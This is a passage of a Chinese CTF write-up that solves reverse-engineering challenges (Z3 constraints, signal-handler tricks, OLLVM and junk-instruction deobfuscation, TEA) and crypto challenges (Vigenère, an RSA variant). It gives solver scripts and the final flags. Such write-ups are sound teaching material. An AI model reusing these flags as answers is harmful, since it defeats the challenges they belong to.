9 * v6 + 4 * (v5 + v4) + 5 * v3 + 4 * v2 + 3 * v8 + 10 * v7 == 0xD55AEABB9,
9 * v3 + 5 * v2 + 9 * v8 + 2 * (v4 + 2 * v5 + 5 * v6 + v7) == 0xF89F6B7FA,
5 * v6 + 9 * v5 + 7 * v2 + 2 * v3 + v4 + 3 * v8 + 9 * v7 == 0xD5230B80B,
8 * v8 + 6 * v5 + 10 * v4 + 5 * v3 + 6 * v2 + 3 * v7 + 9 * v6 == 0x11E28ED873,
v2 + 4 * (v4 + v3 + 2 * v5) + 9 * v6 + v7 + 3 * v8 == 0xB353C03E1
]
solver = Solver()
for constraint in constraints:
solver.add(constraint)
if solver.check() == sat:
model = solver.model()
Flag = ''.join(chr(model.evaluate(chars[i]).as_long()) for i in range(28))
print("flag:", Flag)

输出flag{D0_Y0u_Kn0w_sMC_4nD_Z3}.

取啥名好呢?:

打开发现main函数无法被反编译,而多出来一个mian函数,内容如下:

1
2
3
4
5
6
7
8
9
10
int mian()
{
signal(8, handler_func1); //SIGFPE (8): 浮点异常(Floating Point Exception)
signal(11, handler_func2); //SIGSEGV (11): 段错误(Segmentation Fault)
signal(4, handler); //SIGILL (4): 非法指令(Illegal Instruction)
signal(2, handler_func3); //SIGINT (2): 中断信号(Interrupt)
signal(14, handler_func4); //SIGALRM (14): 报警信号(Alarm Clock)
signal(6, handler_func5); //SIGABRT (6): 程序异常终止(Abort)
return puts("hellooooo!");
}

推测程序会在触发这些信号时调用对应的函数,再观察后面的handler,发现只有func1可能是应当被调用的函数:

1
2
3
4
5
6
7
void handler_func1()
{
byte_4150[dword_4168] ^= dword_4168;
if ( dword_4168 == 22 )
sub_12E9();
++dword_4168;
}

func1会将数组byte_4150的第dword_4168个值与dword_4168的值进行异或,当dword_4168的值为22时,调用函数sub_12E9,再将其本身加上1,而sub_12E9就是最终的比较函数:

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn sub_12E9()
{
if ( !memcmp(&unk_4010, byte_4150, 0x17uLL) )
{
puts("right!");
puts(":)");
exit(0);
}
puts("no");
puts(aO);
exit(0);
}

sub_12E9会将加密的输入值与加密的flag的前23个字节(也就是flag的长度)进行比较,而加密的flag为[0x4F, 0x54, 0x48, 0x53, 0x60, 0x45, 0x37, 0x1A, 0x28, 0x41, 0x26, 0x16, 0x3B, 0x45, 0x14, 0x47, 0x0E, 0x0C, 0x70, 0x3B, 0x3C, 0x3D, 0x70],不过到此为止我们只找到了一个简单的异或加密和最终的比较部分,main函数和读取输入的部分并未发现,于是转到_start函数再点击main,发现main会维持汇编代码,尝试按u将main全部转为机器码再按p,发现仍然不能转变,进行手动分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
.text:0000000000001983 ; ---------------------------------------------------------------------------
.text:0000000000001983
.text:0000000000001983 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000001983 public main
.text:0000000000001983 main: ; DATA XREF: _start+18↑o
.text:0000000000001983 ; __unwind {
.text:0000000000001983 endbr64
.text:0000000000001987 push rbp
.text:0000000000001988 mov rbp, rsp
.text:000000000000198B sub rsp, 10h
.text:000000000000198F lea rax, aInputYourFlag ; "input your flag:"
.text:0000000000001996 mov rdi, rax
.text:0000000000001999 call _puts
.text:000000000000199E lea rax, byte_4150
.text:00000000000019A5 mov rsi, rax
.text:00000000000019A8 lea rax, a23s ; "%23s" --> 这里读取了输入的23个字符并存入byte_4150
.text:00000000000019AF mov rdi, rax
.text:00000000000019B2 mov eax, 0
.text:00000000000019B7 call ___isoc99_scanf
.text:00000000000019BC lea rax, env
.text:00000000000019C3 mov rdi, rax
.text:00000000000019C6 call __setjmp --> 询问ai得知这里设置了恢复点,在信号处理完成后能恢复程序的状态
.text:00000000000019CB endbr64
.text:00000000000019CF cmp eax, 4 ; switch 5 cases
.text:00000000000019D2 ja short def_19F4 ; jumptable 00000000000019F4 default case
.text:00000000000019D4 mov eax, eax
.text:00000000000019D6 lea rdx, ds:0[rax*4]
.text:00000000000019DE lea rax, jpt_19F4
.text:00000000000019E5 mov eax, ds:(jpt_19F4 - 2100h)[rdx+rax]
.text:00000000000019E8 cdqe
.text:00000000000019EA lea rdx, jpt_19F4
.text:00000000000019F1 add rax, rdx
.text:00000000000019F4 db 3Eh ; switch jump
.text:00000000000019F4 jmp rax
.text:00000000000019F7 ; --------------------------------------------------------------------------- --> 不同的case
.text:00000000000019F7
.text:00000000000019F7 loc_19F7: ; CODE XREF: .text:00000000000019F4↑j
.text:00000000000019F7 ; DATA XREF: .rodata:jpt_19F4↓o
.text:00000000000019F7 mov rax, cs:qword_4060 ; jumptable 00000000000019F4 case 0
.text:00000000000019FE mov dword ptr [rax], 1BF52h
.text:0000000000001A04 jmp short loc_1A4D
.text:0000000000001A06 ; ---------------------------------------------------------------------------
.text:0000000000001A06
.text:0000000000001A06 loc_1A06: ; CODE XREF: .text:00000000000019F4↑j
.text:0000000000001A06 ; DATA XREF: .rodata:jpt_19F4↓o
.text:0000000000001A06 mov rax, cs:qword_4060 ; jumptable 00000000000019F4 case 1
.text:0000000000001A0D mov dword ptr [rax], 0E9h
.text:0000000000001A13 jmp short loc_1A4D
.text:0000000000001A15 ; ---------------------------------------------------------------------------
.text:0000000000001A15
.text:0000000000001A15 loc_1A15: ; CODE XREF: .text:00000000000019F4↑j
.text:0000000000001A15 ; DATA XREF: .rodata:jpt_19F4↓o
.text:0000000000001A15 mov edi, 4 ; jumptable 00000000000019F4 case 2
.text:0000000000001A15 ; ---------------------------------------------------------------------------
.text:0000000000001A1A dw 2 dup(0FFFFh), 0EBFFh
.text:0000000000001A20 db 2Ch
.text:0000000000001A21 ; ---------------------------------------------------------------------------
.text:0000000000001A21
.text:0000000000001A21 loc_1A21: ; CODE XREF: .text:00000000000019F4↑j
.text:0000000000001A21 ; DATA XREF: .rodata:jpt_19F4↓o
.text:0000000000001A21 mov esi, 0 ; jumptable 00000000000019F4 case 3
.text:0000000000001A26 mov edi, 1
.text:0000000000001A2B call handler_func5
.text:0000000000001A30 jmp short loc_1A4D
.text:0000000000001A32 ; ---------------------------------------------------------------------------
.text:0000000000001A32
.text:0000000000001A32 loc_1A32: ; CODE XREF: .text:00000000000019F4↑j
.text:0000000000001A32 ; DATA XREF: .rodata:jpt_19F4↓o
.text:0000000000001A32 mov esi, 18h ; jumptable 00000000000019F4 case 4
.text:0000000000001A37 mov edi, 0Ah
.text:0000000000001A3C call handler_func4
.text:0000000000001A41 jmp short loc_1A4D
.text:0000000000001A43 ; ---------------------------------------------------------------------------
.text:0000000000001A43
.text:0000000000001A43 def_19F4: ; CODE XREF: .text:00000000000019D2↑j
.text:0000000000001A43 mov edi, 0 ; jumptable 00000000000019F4 default case
.text:0000000000001A48 call _exit
.text:0000000000001A4D ; ---------------------------------------------------------------------------
.text:0000000000001A4D
.text:0000000000001A4D loc_1A4D: ; CODE XREF: .text:0000000000001A04↑j
.text:0000000000001A4D ; .text:0000000000001A13↑j ...
.text:0000000000001A4D mov dword ptr [rbp-4], 0
.text:0000000000001A54 jmp short loc_1A85
.text:0000000000001A56 ; ---------------------------------------------------------------------------
.text:0000000000001A56
.text:0000000000001A56 loc_1A56: ; CODE XREF: .text:0000000000001A89↓j
.text:0000000000001A56 mov eax, [rbp-4]
.text:0000000000001A59 cdqe
.text:0000000000001A5B lea rdx, byte_4150
.text:0000000000001A62 movzx eax, byte ptr [rax+rdx]
.text:0000000000001A66 mov edx, eax
.text:0000000000001A68 mov eax, cs:dword_4068 --> for (int i = 0; i < 23; i++) {byte_4150[i] += dword_4068;}
.text:0000000000001A6E add eax, edx
.text:0000000000001A70 mov ecx, eax
.text:0000000000001A72 mov eax, [rbp-4]
.text:0000000000001A75 cdqe
.text:0000000000001A77 lea rdx, byte_4150
.text:0000000000001A7E mov [rax+rdx], cl
.text:0000000000001A81 add dword ptr [rbp-4], 1
.text:0000000000001A85
.text:0000000000001A85 loc_1A85: ; CODE XREF: .text:0000000000001A54↑j
.text:0000000000001A85 cmp dword ptr [rbp-4], 16h
.text:0000000000001A89 jle short loc_1A56
.text:0000000000001A8B mov eax, 1
.text:0000000000001A90 mov ecx, 0
.text:0000000000001A95 cdq
.text:0000000000001A96 idiv ecx --> 1/0引发SIGFPE浮点异常,调用func1
.text:0000000000001A98 mov esi, eax
.text:0000000000001A9A lea rax, aYouShouldNever ; "You should never read this in program o"...
.text:0000000000001AA1 mov rdi, rax
.text:0000000000001AA4 mov eax, 0
.text:0000000000001AA9 call _printf
.text:0000000000001AAE mov eax, 0
.text:0000000000001AB3 leave
.text:0000000000001AB4 retn
.text:0000000000001AB4 ; } // starts at 1983

手动转为大致的C语言代码:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
puts("input your flag:");
scanf("%23s", byte_4150);
信号处理结束后的程序恢复点;
切换各种情况;
for (int i = 0; i < 23; i++) {
byte_4150[i] += dword_4068;
}
int a = 1 / 0; // 除以零,触发SIGFPE来进行后续的处理和比对
printf("You should never read this in program output,why???\n");
return 0;
}

那么程序的运行逻辑已经很明确了,只是简单的读取了输入的23个字符,然后每个字符值加上了dword_4068,接着除以0引发信号8转入func1,再将数组byte_4150的第dword_4168个值与dword_4168的值进行异或,而dword_4168的值的波动则在main函数的switch case中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
switch (dword_4168) {
case 0:
dword_4168 = 0x1BF52;
break;
case 1:
dword_4168 = 0xE9;
break;
case 2:
dword_4168 = 4;
break;
case 3:
handler_func5(0);
break;
case 4:
handler_func4(0);
break;
default:
exit(0);
}

和func1中的++dword_4168体现,当dword_4168的值为22时,调用函数sub_12E9进行比较,接下来进行动态调试,发现dword_4068是定值0xE9,相当于每个字符的十六进制ASCII值加上0xE9强制转换byte,接下来在第二次异或的时候输入值的1-23个字符每次异或的值分别是0-22,倒推得到原来的十六进制字符[0x66, 0x6C, 0x61, 0x67, 0x7B, 0x57, 0x48, 0x34, 0x37, 0x5F, 0x43, 0x34, 0x4E, 0x5F, 0x31, 0x5F, 0x35, 0x34, 0x79, 0x3F, 0x3F, 0x3F, 0x7D]flag{WH47_C4N_1_54y???}.

附Python代码:

1
2
3
4
5
6
enc_flag = [0x4F, 0x54, 0x48, 0x53, 0x60, 0x45, 0x37, 0x1A, 0x28, 0x41, 0x26, 0x16, 0x3B, 0x45, 0x14, 0x47, 0x0E, 0x0C, 0x70, 0x3B, 0x3C, 0x3D, 0x70]
for i in range(23):
enc_flag[i] ^= i
enc_flag[i] -= 0xE9
enc_flag[i] &= 0xFF
print(enc_flag)

011vm:

反编译发现代码结构非常混乱,结合题目名称和介绍得知是ollvm混淆,使用D-810插件反混淆后再次反编译,先简要进行动态调试,发现被加密的输入内容和被加密的真正的flag进行比对的步骤在transform中的v11 = memcmp(s1, s2, 0x20uLL);这一行,s1是加密后的输入内容,s2是被加密的真正的flag,观察发现到比较s1与s2这一步时,s1的值恰好是上文提到的在t3被printf的值,若s1只输入一种字符(如32个2),则能体现出s1是被循环加密的(并且循环周期恰好是8个字符,也就是上文提到的2组),s1与s2紧邻,s2的值为定值[0x28, 0x7E, 0xB9, 0x38, 0xC1, 0x10, 0xE5, 0xB7, 0xAE, 0x9F, 0xB2, 0xB4, 0xD7, 0xBB, 0x93, 0x55, 0x9E, 0x9B, 0x2E, 0x3C, 0x37, 0xC6, 0x71, 0x16, 0xB5, 0x8C, 0x3A, 0x8F, 0x15, 0xE5, 0x16, 0x51],那么可以验证s2就是被加密后的flag,经过观察发现栈上这些数据之间的关系为:

s1(修改的输入值) 32个字符

S2(修改的flag值) 32个字符

猜测是循环加密的秘钥,值为[0x14, 0x13, 0x12, 0x11, 0x25, 0x24, 0x23, 0x22, 0x36, 0x35, 0x34, 0x33, 0x44, 0x43, 0x42, 0x41] 16个字符

未知 176个字符

输入的字符 32个字符

(以下内容包含流程解释,因此以图片形式展示):

进行正向测试(这里输入了12345678作为前8个字符的测试):

1
2
3
4
5
6
7
8
9
v6 = 0x34333231
v4 = 0x38373635
v5 = [0x11121314, 0x22232425, 0x33343536, 0x41424344] # 密钥
v7 = 0
for i in range(32):
v7 = (v7 + 0x9E3779B9) & 0xFFFFFFFF
v6 = (v6 + ((v5[1] + (v4 >> 5)) ^ (v7 + v4) ^ (v5[0] + 16 * v4))) & 0xFFFFFFFF
v4 = (v4 + ((v5[3] + (v6 >> 5)) ^ (v7 + v6) ^ (v5[2] + 16 * v6))) & 0xFFFFFFFF
print('%#x' % v6, '%#x' % v4)

输出结果为:0x6e9bbeb4 0x443b7474

再看看IDA动态调试的结果,与输出结果完全一致,由此找到测试程序与实际输出的对应关系:v6对应前四个字符的小端序dword,v4对应后四个字符的小端序dword,输出结果的v6是加密后的前四个字符的小端序dword,v4也是加密后的后四个字符的小端序dword,至此T170函数的主要部分(TEA加密)已经解析完成。

接着解析T170函数最后的剩余部分:

1
2
3
4
5
6
  v9 = (__int64)v14;
v10 = v17;
**v14 = *v16; --> 加密后的前四个字符的小端序dword
*(_DWORD *)(*(_QWORD *)v9 + 4LL) = *v10; --> 加密后的后四个字符的小端序dword
return 1LL;
}

发现只是简单的把加密后的结果挪回去了,接着分析transform

1
v15 = *v24;				-->	513353247

…跳过很多break…

1
2
3
4
5
6
  if ( v15 != 513353247 )
break;
v10 = v24;
*(_DWORD *)v22 += 2; --> 循环计数器+2
*v10 = 645341807;
}

观察发现在执行完多次T170后程序会跳到T160函数,而T160函数仅仅是一个简单的打印加密结果,而剩下的transform只用来返回比较结果:

1
2
3
  }
return *v17;
}

剩下的main只用来输出对错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
  *(v11 - 16) = v3 != 0;
v12 = (int *)&v6[-16];
*(_DWORD *)&v6[-16] = 257852147;
while ( 1 )
{
while ( 1 )
{
v7 = *v12;
if ( v7 != 257852147 )
break;
v4 = 908161670;
if ( (*v8 & 1) != 0 )
v4 = 2118084167;
*v12 = v4;
}
if ( v7 == 319109003 )
break;
if ( v7 == 908161670 )
{
printf("Sorry...\n");
*v12 = 319109003;
}
else if ( v7 == 2118084167 )
{
printf("Right!!!\n");
*v12 = 319109003;
}
}
return 0LL;
}

至此程序解构完毕,仅有一个简单的TEA加密算法,用week2的python文件做同样处理:

1
2
3
4
5
6
7
8
9
10
11
# flag
v6 = [0x38B97E28, 0xB4B29FAE, 0x3C2E9B9E, 0x8F3A8CB5]
v4 = [0xB7E510C1, 0x5593BBD7, 0x1671C637, 0x5116e515]
v5 = [0x11121314, 0x22232425, 0x33343536, 0x41424344] # 密钥
for i in range(4):
v7 = (32 * 0x9E3779B9) & 0xFFFFFFFF
for j in range(32):
v4[i] = (v4[i] - ((v5[3] + (v6[i] >> 5)) ^ (v7 + v6[i]) ^ (v5[2] + 16 * v6[i]))) & 0xFFFFFFFF
v6[i] = (v6[i] - ((v5[1] + (v4[i] >> 5)) ^ (v7 + v4[i]) ^ (v5[0] + 16 * v4[i]))) & 0xFFFFFFFF
v7 = (v7 - 0x9E3779B9) & 0xFFFFFFFF
print('%#x' % v6[i], '%#x' % v4[i])

输出:

1
2
3
4
0x67616c66	0x3131307b
0x315f6d76 0x5a655f73
0x7475425f 0x4d30435f
0x58453150 0x7d21215f

转化得到galf110{1_mvZe_stuB_M0C_XE1P}!!_,转换端序得到flag{011vm_1s_eZ_But_C0MP1EX_!!}.

flowering_shrubs:

拖进ida惊讶地发现main函数居然是空的,考虑花指令把main混淆了,进入汇编观察代码,找到以下内容:

1
2
.text:00000000000014D9                 call    $+5
.text:00000000000014EF retn

1
2
.text:00000000000014D9                 call    $+5
.text:00000000000014EF retn

是典型的call型花指令,nop掉后再次反编译main成功:

1
2
3
4
5
6
7
8
void __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rbx
char *vars0; // [rsp+8h] [rbp+0h]

vars0 = (char *)sub_14F0 + v3 - 5342;
sub_14F0(0LL, a2);
}

继续观察发现几乎所有函数都又被花指令干扰了,发现很多call $+5retn的花指令,全部nop掉之后,观察sub_14F0:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_14F0(unsigned int a1)
{
__int64 v1; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

srand(a1);
__isoc99_scanf("%40s", &unk_40C0);//读取40位存入unk_40C0
byte_4080 = 1;
retaddr = (char *)sub_1548 + v1 - 5430;
return sub_1548("%40s", (const char *)(unsigned __int8)aUarefirst[0]);
}

是一个简单的读取输入函数,再看其中的sub_1548:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_1548(__int64 a1, __int64 a2)
{
__int64 v2; // rax

sub_1313(v2, a2);
if ( !memcmp(&unk_40C0, &unk_4020, 0x28uLL) )
puts("right!");
else
puts("wrong!");
return 0LL;
}

是最终比较flag的函数,先找到定值unk_4020(加密后的flag):[54h, F4h, 20h, 47h, FCh, C4h, 93h, E6h, 39h, E0h, 6Eh, 00h, A5h, 6Eh, AAh, 9Fh, 7Ah, A1h, 66h, 39h, 76h, B7h, 67h, 57h, 3Dh, 95h, 61h, 22h, 55h, C9h, 3Bh, 4Eh, 4Fh, E8h, 66h, 08h, 3Dh, 50h, 43h, 3Eh],然后分析sub_1313

1
2
3
4
5
6
__int64 __fastcall sub_1313(_BYTE *a1, char a2)
{
*a1 ^= a2;
a1[1] ^= *a1;
return sub_137B();
}

发现是将a1的当前字节先与a2进行异或,再将a1的下一个字节与a1的当前字节进行异或,再看sub_137B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_137B()
{
_BYTE *v0; // rax
__int64 v1; // rbx
__int64 v2; // rbp
char *retaddr; // [rsp+8h] [rbp+0h]

*(_BYTE *)(*(_QWORD *)(v2 - 24) + 1LL) = *v0 + *(_BYTE *)(v2 - 28);
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL) ^= *(_BYTE *)(*(_QWORD *)(v2 - 24) + 1LL);
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL) -= *(_BYTE *)(v2 - 28);
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 3LL) ^= *(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL);
retaddr = (char *)sub_1410 + v1 - 5118;
return sub_1410();
}

sub_137B也进行了一些加密操作:

① 将 v0 指向的字节与 v2 - 28 指向的字节相加,结果存储在 v2 - 24 指向的地址加 1 的位置。

② 将 v2 - 24 指向的地址加 2 的位置的字节与 v2 - 24 指向的地址加 1 的位置的字节进行异或操作。

③ 将 v2 - 24 指向的地址加 2 的位置的字节减去 v2 - 28 指向的字节。

④ 将 v2 - 24 指向的地址加 3 的位置的字节与 v2 - 24 指向的地址加 2 的位置的字节进行异或操作。

接着看sub_1410

1
2
3
4
5
6
7
8
__int64 __fastcall sub_1410()
{
__int64 v0; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

retaddr = (char *)sub_1434 + v0 - 5154;
return sub_1434();
}

发现只是简单地转到了sub_1434

1
2
3
4
5
6
7
8
9
void __fastcall sub_1434(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

retaddr = (char *)sub_1453 + v3 - 5185;
sub_1453(a1, a2, a3);
}

发现只是简单地执行了sub_1453

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall sub_1453(__int64 a1, char **a2, char **a3)
{
_BYTE *v3; // rax
__int64 v4; // rbx
__int64 v5; // rbp
char *retaddr; // [rsp+8h] [rbp+0h]

*v3 = (_BYTE)a3;
if ( ++dword_40B4 <= 9 )//由于这里大概是要执行10次,联想到部分加密一次处理4个字符,这个函数大概是控制把输入值的不同部分全部加密一遍
{
*(_BYTE *)(v5 - 1) = sub_11C9(a1, a2);
retaddr = (char *)&loc_14B8 + v4 - 5286;
a2 = (char **)(unsigned __int8)aUarefirst[dword_40B4];
a1 = (__int64)&unk_40C0 + *(unsigned __int8 *)(v5 - 1);
sub_1313(a1, a2);
}
main(a1, a2, a3);//递归调用main
}

再查看sub_11C9

1
2
3
4
5
__int64 sub_11C9()
{
rand();
return sub_1216();
}

发现sub_11C9生成了一个疑似没用的随机数并返回了sub_1216的值,观察sub_1216

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_1216(__int64 a1, __int64 a2, char a3, char a4)
{
char v4; // al
__int64 v5; // rbx
__int64 v6; // rbp
unsigned int v7; // eax
char *retaddr; // [rsp+8h] [rbp+0h]

*(_BYTE *)(v6 - 1) = a4 - 8 * (a3 + v4);
v7 = rand();
retaddr = (char *)sub_1257 + v5 - 4677;
return sub_1257(a1, v7);
}

sub_1216计算了a4 - 8 \* (a3 + v4)并存储在v6 - 1指向的字节中,然后生成了一个随机数并存储在v7中,接着调用了sub_1257,分析sub_1257

1
2
3
4
5
6
7
8
__int64 __fastcall sub_1257(__int64 a1, int a2)
{
__int64 v2; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

retaddr = (char *)sub_1285 + v2 - 4723;
return sub_1285(a1);
}

发现只是简单地返回了sub_1285的值,查看sub_1285

1
2
3
4
5
6
7
8
void __fastcall sub_1285()
{
__int64 v0; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

retaddr = (char *)sub_12A2 + v0 - 4752;
sub_12A2();
}

发现只是简单地返回了sub_12A2的值,查看sub_12A2

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_12A2(__int64 a1, __int64 a2, char a3)
{
__int64 v3; // rbx
__int64 v4; // rbp
char *retaddr; // [rsp+8h] [rbp+0h]

*(_BYTE *)(v4 - 1) = a3;
*(_BYTE *)(v4 - 1) &= 0xFCu;
retaddr = (char *)sub_12CA + v3 - 4792;
return sub_12CA(a1, a2);
}

sub_12A2a3存入v4-1对应的字节,并使v4-10xFC进行按位与操作,然后返回sub_12CA的值,查看sub_12CA

1
2
3
4
5
6
7
8
void __fastcall sub_12CA()
{
__int64 v0; // rbx
char *retaddr; // [rsp+8h] [rbp+0h]

retaddr = (char *)sub_12EC + v0 - 4826;
sub_12EC();
}

发现只是简单地返回了sub_12EC的值,查看sub_12EC

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_12EC(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rax
__int64 v4; // rbp

if ( !*(_BYTE *)(v3 + a3) )
byte_4080[*(unsigned __int8 *)(v4 - 1)] = 1;
return *(unsigned __int8 *)(v4 - 1);
}

sub_12EC检查v3 + a3指向的字节是否为0,若是,将byte_4080数组中v4 - 1指向的字节值作为索引的位置设置1,并返回v4 - 1指向的字节值,sub_12EC应为该支链上最末端的函数.

至此所有自定义函数均已分析完毕,经动态调试发现输入值是以四个字符为单位进行加密的,但却不是逐组加密,而是按第1 2 9 4 3 7 5 6 8 10组的顺序加密,a2是固定数组[0x75, 0x61, 0x72, 0x65, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2E],每组中的加密为:

sub_1313

1
2
*a1 ^= a2;//第一个字符变为异或a2后的字符
a1[1] ^= *a1;//第二个字符变为异或第一个字符后的字符

sub_137B

1
2
3
4
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 1LL) = *v0 + *(_BYTE *)(v2 - 28);//新第二个字符 = 第二个字符+a2强制转换成byte
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL) ^= *(_BYTE *)(*(_QWORD *)(v2 - 24) + 1LL);//第三个字符变为异或第二个字符后的字符
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL) -= *(_BYTE *)(v2 - 28);//新第三个字符 = 第三个字符-a2 强制转换成byte
*(_BYTE *)(*(_QWORD *)(v2 - 24) + 3LL) ^= *(_BYTE *)(*(_QWORD *)(v2 - 24) + 2LL);//第四个字符变为异或第三个字符后的字符

sub_1410

1
return sub_62C568C23434(a1, a2, *(_BYTE *)(v3 + 3) ^ a3);//注意到这里的最后一个参数,v3+3是第四个字符,a3是第一个字符,以输入flag为例,①②完成后第一个字符变为13,第四个字符变为47,但最后第一个字符会变成54,而47^13正是54,所以这一步是让第一个字符成为第四个字符和第一个字符的异或值.

结合密文[54h, F4h, 20h, 47h, FCh, C4h, 93h, E6h, 39h, E0h, 6Eh, 00h, A5h, 6Eh, AAh, 9Fh, 7Ah, A1h, 66h, 39h, 76h, B7h, 67h, 57h, 3Dh, 95h, 61h, 22h, 55h, C9h, 3Bh, 4Eh, 4Fh, E8h, 66h, 08h, 3Dh, 50h, 43h, 3Eh]编写python代码进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc_flag = 	[[0x54, 0xF4, 0x20, 0x47], [0xFC, 0xC4, 0x93, 0xE6],
[0x39, 0xE0, 0x6E, 0x00], [0xA5, 0x6E, 0xAA, 0x9F],
[0x7A, 0xA1, 0x66, 0x39], [0x76, 0xB7, 0x67, 0x57],
[0x3D, 0x95, 0x61, 0x22], [0x55, 0xC9, 0x3B, 0x4E],
[0x4F, 0xE8, 0x66, 0x08], [0x3D, 0x50, 0x43, 0x3E]]
a2 = [0x75, 0x61, 0x66, 0x65, 0x72, 0x73, 0x69, 0x74, 0x72, 0x2E]#按顺序排的a2

for i in range(10):
enc_flag[i][0] = enc_flag[i][3] ^ enc_flag[i][0]
enc_flag[i][3] ^= enc_flag[i][2]
enc_flag[i][2] = ((enc_flag[i][2] + a2[i]) & 0xFF) ^ enc_flag[i][1]
enc_flag[i][1] = ((enc_flag[i][1] - a2[i]) & 0xFF) ^ enc_flag[i][0]
enc_flag[i][0] ^= a2[i]
print(enc_flag)

输出[[102, 108, 97, 103], [123, 121, 48, 117], [95, 67, 52, 110], [95, 51, 97, 53], [49, 108, 121, 95], [82, 101, 109, 48], [118, 51, 95, 67], [111, 78, 102, 117], [53, 49, 48, 110], [45, 33, 33, 125]],转化得到

1
2
3
4
5
6
7
8
9
10
[[0x66, 0x6c, 0x61, 0x67],
[0x7b, 0x79, 0x30, 0x75],
[0x5f, 0x43, 0x34, 0x6e],
[0x5f, 0x33, 0x61, 0x35],
[0x31, 0x6c, 0x79, 0x5f],
[0x52, 0x65, 0x6d, 0x30],
[0x76, 0x33, 0x5f, 0x43],
[0x6f, 0x4e, 0x66, 0x75],
[0x35, 0x31, 0x30, 0x6e],
[0x2d, 0x21, 0x21, 0x7d]]

十六进制转字符得到flag{y0u_C4n_3a51ly_Rem0v3_CoNfu510n-!!}.

Crypto方向:

故事新编1:

观察被加密后的文本和加密方式得知是维尼吉亚密码,代入求解器,计算得key为subtitution,解得zen1为:

1
2
3
4
5
6
7
8
9
10
11
12
BEAUTIFUL IS BETTER THAN UGLY.
EXPLICIT IS BETTER THAN IMPLICIT.
SIMPLE IS BETTER THAN COMPLEX.
COMPLEX IS BETTER THAN COMPLICATED.
FLAT IS BETTER THAN NESTED.
SPARSE IS BETTER THAN DENSE.
FLAGA IS VEGENERE
READABILITY COUNTS.
SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES.
ALTHOUGH PRACTICALITY BEATS PURITY.
ERRORS SHOULD NEVER PASS SILENTLY.
UNLESS EXPLICITLY SILENCED.

将明文的结尾多加上一个换行符带回原python文件执行,发现输出与所给相同,返回flag{bda2bcf1eaeff7754a6483e74e70a937}.

没e这能玩?:

观察发现是类RSA加密,给了三个大质数pqr的相关方程组,由于每组的值均已知,那么pqr构成的三元一次方程组是可以直接解的:


解得:

1
2
3
p=10183677214652023044474780341271224480860741865271128462400237861954731862671046572481587003643951915319746511716779405224320633957652210335830783097185731
q=10501863154525380899885393651734595340401622693414265402191855789807170977044584937255025740961595981958235238915269093897387769735490697411913603370485999
r=10457194869353593100177834984530743371730082196597132299112004173986134317902326819633405971492147254575586164057393393898548415838816927385666152840961767

接下来又给出了大质数的e次方除以2的512次方的余数hint,即prime ^ e ≡ hint (mod 2^512),发现e用python极其难以计算,在linux上下载专业求解器PARI/GP,编写.gp脚本:

1
2
3
4
5
h=1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571;
p=10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379;
mod = 2^512;
e = znlog(Mod(h, mod), Mod(p, mod));
if (e == 0,print("Failed to find e"),print("Found e:", e));

输出e = 18344052974846453963,带回原文件,使用之前的解密文件,结合phin = (p-1)\*(q-1)\*(r-1)d = gmpy2.invert(e,phin),得到

1
d=353990565818625470203369777239314743702215915925233196685710922971035136745962920650978745767080817978533931486524755066350185911891300410592045053635868129756936833542534389569636562575622589318159685096070360444918245742399076155280089425194564103920810567326139574530309013616431270046381080112401477101628065595664594982640241027864708389381440505030265366815955626373592957956775853576195599726111052060073122365749364757456811923493380577927720503392159587

结合原文件的

1
c=999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310

得到m = powmod(c, d, n) = 2761328357324640838041048482823820617928011152855994221385645606528893,结合python脚本:

1
2
3
4
m2 = long_to_bytes(m)
print('m2 =', m2)
m3 = m2.decode('utf-8', errors='ignore')
print('m3 =', m3)

得到flag{th1s_2s_A_rea119_f34ggg}.

故事新编2:

